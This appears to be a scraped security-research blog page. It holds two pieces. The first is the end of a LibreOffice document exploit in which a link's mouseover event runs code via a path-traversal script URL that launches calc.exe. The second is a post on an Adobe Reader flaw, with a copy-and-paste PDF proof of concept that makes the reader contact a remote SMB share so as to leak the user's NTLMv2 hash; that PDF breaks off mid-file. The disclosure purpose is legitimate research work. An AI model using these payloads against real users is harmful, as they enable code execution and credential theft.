config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="UnxForceZeroExtLeading" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="UseOldPrinterMetrics" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="TabAtLeftIndentForParagraphsInList" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="Rsid" config:type="int">1115298</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="MsWordCompTrailingBlanks" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="MathBaselineAlignment" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="InvertBorderSpacing" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="CollapseEmptyCellPara" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="TabOverflow" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="StylesNoDefault" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ClippedPictures" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="TabOverMargin" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="TreatSingleColumnBreakAsPageBreak" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="SurroundTextWrapSmall" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ApplyParagraphMarkFormatToNumbering" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PropLineSpacingShrinksFirstLine" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="SubtractFlysAnchoredAtFlys" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="DisableOffPagePositioning" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="EmptyDbFieldHidesPara" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintAnnotationMode" config:type="short">0</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintGraphics" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintBlackFonts" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintProspect" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintLeftPages" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintControls" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintPageBackground" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintTextPlaceholder" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintDrawings" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintHiddenText" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintTables" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintProspectRTL" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintReversed" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintRightPages" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintFaxName" config:type="string"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintPaperFromSetup" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintEmptyPages" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </config:config-item-set></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </office:settings></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:scripts></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:script script:language="ooo:Basic"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <ooo:library-embedded ooo:name="Standard"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </ooo:libraries></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </office:script></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </office:scripts></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:font-face-decls></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:font-face style:name="Arial1" svg:font-family="Arial" style:font-family-generic="swiss"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:font-face style:name="Liberation Serif" svg:font-family="&apos;Liberation Serif&apos;" style:font-family-generic="roman" style:font-pitch="variable"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:font-face style:name="Liberation Sans" svg:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="system" style:font-pitch="variable"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:font-face style:name="Microsoft YaHei" svg:font-family="&apos;Microsoft YaHei&apos;" style:font-family-generic="system" style:font-pitch="variable"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:font-face style:name="NSimSun" svg:font-family="NSimSun" style:font-family-generic="system" style:font-pitch="variable"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </office:font-face-decls></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:styles></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:default-style style:family="graphic"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:tab-stops/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:paragraph-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:default-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:default-style style:family="paragraph"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:default-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:default-style style:family="table"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:table-properties table:border-model="collapsing"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:default-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:default-style style:family="table-row"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:table-row-properties fo:keep-together="auto"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:default-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:style style:name="Standard" style:family="paragraph" style:class="text"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_20_body" style:class="text"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:paragraph-properties fo:margin-top="0.1665in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" fo:keep-with-next="always"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:text-properties style:font-name="Liberation Sans" fo:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable" fo:font-size="14pt" style:font-name-asian="Microsoft YaHei" style:font-family-asian="&apos;Microsoft YaHei&apos;" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-size-asian="14pt" style:font-name-complex="Arial" style:font-family-complex="Arial" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-size-complex="14pt"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:style style:name="List" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="list"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:style style:name="Caption" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:paragraph-properties fo:margin-top="0.0835in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" text:number-lines="false" text:line-number="0"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:text-properties fo:font-size="12pt" fo:font-style="italic" style:font-size-asian="12pt" style:font-style-asian="italic" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss" style:font-size-complex="12pt" style:font-style-complex="italic"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:style style:name="Index" style:family="paragraph" style:parent-style-name="Standard" style:class="index"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:paragraph-properties text:number-lines="false" text:line-number="0"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:text-properties fo:color="#000080" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-style style:name="Outline"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="1" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="2" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="3" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="4" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="5" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="6" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="7" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="8" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="9" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:outline-level-style text:level="10" style:num-format=""></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:list-level-label-alignment text:label-followed-by="listtab"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:list-level-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-level-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:outline-style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:notes-configuration text:note-class="footnote" style:num-format="1" text:start-value="0" text:footnotes-position="page" text:start-numbering-at="document"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:notes-configuration text:note-class="endnote" style:num-format="i" text:start-value="0"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:linenumbering-configuration text:number-lines="false" text:offset="0.1965in" style:num-format="1" text:number-position="left" text:increment="5"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </office:styles></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:automatic-styles></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:style style:name="T1" style:family="text"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:text-properties officeooo:rsid="001104a2"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:style></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:page-layout style:name="pm1"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:page-layout-properties fo:page-width="8.5in" fo:page-height="11in" style:num-format="1" style:print-orientation="portrait" fo:margin-top="0.7874in" fo:margin-bottom="0.7874in" fo:margin-left="0.7874in" fo:margin-right="0.7874in" style:writing-mode="lr-tb" style:footnote-max-height="0in"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:footnote-sep style:width="0.0071in" style:distance-before-sep="0.0398in" style:distance-after-sep="0.0398in" style:line-style="solid" style:adjustment="left" style:rel-width="25%" style:color="#000000"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:page-layout-properties></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:header-style/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:footer-style/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </style:page-layout></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </office:automatic-styles></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:master-styles></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <style:master-page style:name="Standard" style:page-layout-name="pm1"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </office:master-styles></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:body></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:text></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:sequence-decls></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:sequence-decl text:display-outline-level="0" text:name="Illustration"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:sequence-decl text:display-outline-level="0" text:name="Table"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:sequence-decl text:display-outline-level="0" text:name="Text"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:sequence-decl text:display-outline-level="0" text:name="Figure"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </text:sequence-decls></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://test/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="<span style="background-color: yellow;"><b>vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&amp;location=share</b></span>" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1">move your mouse over the text</text:span></text:a></text:p></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </office:text></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </office:body></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"></office:document></span></div></div><br />
<br />
<br />
<br />
</div>Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-59661873291468898842019-01-26T08:44:00.000-08:002019-01-26T08:44:06.742-08:00Adobe Reader - PDF callback via XSLT stylesheet in XFA<br />
I have seen on twitter that there is use for another PDF callback Proof-of-Concept in Adobe Reader.<br />
Last year a PDF file called "<a href="https://github.com/deepzec/Bad-Pdf">BadPDF</a>" was created, which allowed to trigger a callback to an attacker controlled SMB server and leak the users NTMLv2 hash. The used technique was fixed by Adobe (CVE-2018-4993).<br />
<br />
As you are reading this blog post you can already guess that I discovered another callback mechanism. Sadly I have no cool name for my PDF... ;)<br />
Spoiler alert: It is not perfect but good enough for now.<br />
<br />
Tested Version: Adobe Acrobat Reader DC 19.010.20069<br />
OS: Windows<br />
<br />
<br />
<h3>
The callback: xml-stylesheet in XFA structure</h3>
<div>
<br /></div>
<div>
Once again the XML Form Architecture (<a href="https://en.wikipedia.org/wiki/XFA">XFA</a>) structure helped.<br />
XFA is a XML structure inside a PDF, which defines forms and more. This time it is not even necessary to use a feature of the XFA form but instead a <i>xml-stylesheet</i> does the trick.<br />
Adobe Reader actually detects any http/https URLs specified in a <i>xml-stylesheet</i> element and asks for the user's confirmation. This dialog can be simply bypassed by using <a href="https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html">UNC</a> paths.<br />
<br />
I think the PoC should explain how the leak works (once again I used one of the many PDF templates of <a href="https://github.com/corkami/pocs">Ange Albertini</a>)<br />
<br />
<br />
<h3>
!Notes about the PoC!</h3>
<div>
<br /></div>
I could not find a way to actually get the specified XSLT sheet to be properly loaded. After the request is send (either via SMB or WebDAV) Adobe Reader always displays an "Access Denied" error.<br />
<br />
<h3>
Proof-of-Concept (Copy & Paste ready)</h3>
</div>
<div>
<br /></div>
<div>
<pre style="background: #ffffff; color: black;"><span style="color: #808030;">%</span> a PDF file <span style="color: maroon; font-weight: bold;">using</span> an XFA
<span style="color: #808030;">%</span> most whitespace can be removed <span style="color: #808030;">(</span>truncated to <span style="color: #008c00;">570</span> bytes or so<span style="color: #808030;">.</span><span style="color: #808030;">.</span><span style="color: #808030;">.</span><span style="color: #808030;">)</span>
<span style="color: #808030;">%</span> Ange Albertini BSD Licence <span style="color: #008c00;">2012</span>
<span style="color: #808030;">%</span>PDF<span style="color: #808030;">-</span><span style="color: #008c00;">1</span><span style="color: #808030;">.</span> <span style="color: #808030;">%</span> can be truncated to <span style="color: #808030;">%</span>PDF<span style="color: #808030;">-</span>
<span style="color: #008c00;">1</span> <span style="color: #008c00;">0</span> obj <span style="color: #808030;"><</span><span style="color: #808030;"><</span><span style="color: #808030;">></span><span style="color: #808030;">></span> </pre>
<pre style="background: #ffffff; color: black;">stream</pre>
<pre style="background: #ffffff; color: black;"><span style="color: #808030;"><</span><span style="color: purple;">?</span>xml version<span style="color: #808030;">=</span><span style="color: maroon;">"</span><span style="color: #0000e6;">1.0</span><span style="color: maroon;">"</span> <span style="color: purple;">?</span><span style="color: #808030;">></span></pre>
<pre style="background: rgb(255, 255, 255);"><b><span style="color: #808030;"><</span><span style="color: purple;">?</span>xml<span style="color: #808030;">-</span>stylesheet href<span style="color: #808030;">=</span><span style="color: maroon;">"</span><span style="color: red;">\\example.com\share\whatever.xslt</span><span style="color: maroon;">"</span> type<span style="color: #808030;">=</span><span style="color: maroon;">"</span><span style="color: #0000e6;">text/xsl</span><span style="color: maroon;">"</span> <span style="color: purple;">?</span><span style="color: #808030;">></span></b></pre>
<pre style="background: #ffffff; color: black;">endstream
endobj
trailer <span style="color: #808030;"><</span><span style="color: #808030;"><</span>
<span style="color: #808030;">/</span>Root <span style="color: #808030;"><</span><span style="color: #808030;"><</span>
<span style="color: #808030;">/</span>AcroForm <span style="color: #808030;"><</span><span style="color: #808030;"><</span>
<span style="color: #808030;">/</span>Fields <span style="color: #808030;">[</span><span style="color: #808030;"><</span><span style="color: #808030;"><</span>
<span style="color: #808030;">/</span>T <span style="color: #808030;">(</span><span style="color: #008c00;">0</span><span style="color: #808030;">)</span>
<span style="color: #808030;">/</span>Kids <span style="color: #808030;">[</span><span style="color: #808030;"><</span><span style="color: #808030;"><</span>
<span style="color: #808030;">/</span>Subtype <span style="color: #808030;">/</span>Widget
<span style="color: #808030;">/</span>Rect <span style="color: #808030;">[</span><span style="color: #808030;">]</span>
